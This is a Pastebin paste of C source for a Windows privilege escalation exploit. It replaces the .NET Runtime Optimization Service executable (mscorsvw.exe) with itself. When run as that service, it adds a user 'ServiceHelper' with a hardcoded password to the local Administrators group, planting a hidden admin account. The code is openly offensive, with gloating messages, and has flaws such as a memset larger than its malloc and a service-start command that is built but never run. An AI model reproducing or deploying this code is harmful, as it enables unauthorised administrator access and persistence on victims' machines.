Guest User

Untitled

a guest
Jun 30th, 2018
141
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.89 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <windows.h>
  3.  
  4. SERVICE_STATUS ServiceStatus;
  5. SERVICE_STATUS_HANDLE hStatus;
  6.  
  7. #define PWN_EXE "c:\\WINDOWS\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe"
  8. #define PWN_SHORT "mscorsvw.exe"
  9. #define PWN_NAME ".NET Runtime Optimization Service v2.0.50727_X86"
  10. #define PWN_ID "clr_optimization_v2.0.50727_32"
  11.  
  12. void ServiceMain(int argc, char** argv) {
  13. if (InitService()) {
  14. ServiceStatus.dwCurrentState = SERVICE_STOPPED;
  15. ServiceStatus.dwWin32ExitCode = -1;
  16. SetServiceStatus(hStatus, &ServiceStatus);
  17. return;
  18. }
  19. ServiceStatus.dwCurrentState = SERVICE_RUNNING;
  20. SetServiceStatus (hStatus, &ServiceStatus);
  21. }
  22.  
  23. void ControlHandler(DWORD request);
  24. int InitService();
  25.  
  26. int main(int argc, char **argv) {
  27. char acUserName[100];
  28. DWORD nUserName = sizeof(acUserName);
  29. SERVICE_TABLE_ENTRY ServiceTable[2];
  30. GetUserName(acUserName, &nUserName);
  31.  
  32. if (strcmp((char *)&acUserName, "SYSTEM")) {
  33. char *str = (char *)malloc(1048);
  34. memset(str, 0, 2048);
  35. sprintf(str, "%s.bak", PWN_EXE);
  36. if (rename(PWN_EXE, str) != 0) {
  37. fprintf(stderr, " :( sorry, can't write to file.\n");
  38. exit(1);
  39. }
  40. CopyFile(argv[0], PWN_EXE, !0);
  41. sprintf(str, "net start \"%s\" 2> NUL > NUL",PWN_NAME);
  42. printf("\n >:D should have created a \n\n Username:\tServiceHelper\n Password:\tILov3Coff33!\n\n");
  43. }
  44.  
  45. ServiceTable[0].lpServiceName = PWN_ID;
  46. ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
  47.  
  48. ServiceTable[1].lpServiceName = NULL;
  49. ServiceTable[1].lpServiceProc = NULL;
  50. StartServiceCtrlDispatcher(ServiceTable);
  51.  
  52. return 0;
  53. }
  54.  
  55. int InitService() {
  56. system("cmd /c net user ServiceHelper ILov3Coff33! /add & net localgroup Администраторы ServiceHelper /add");
  57. }
Add Comment
Please, Sign In to add comment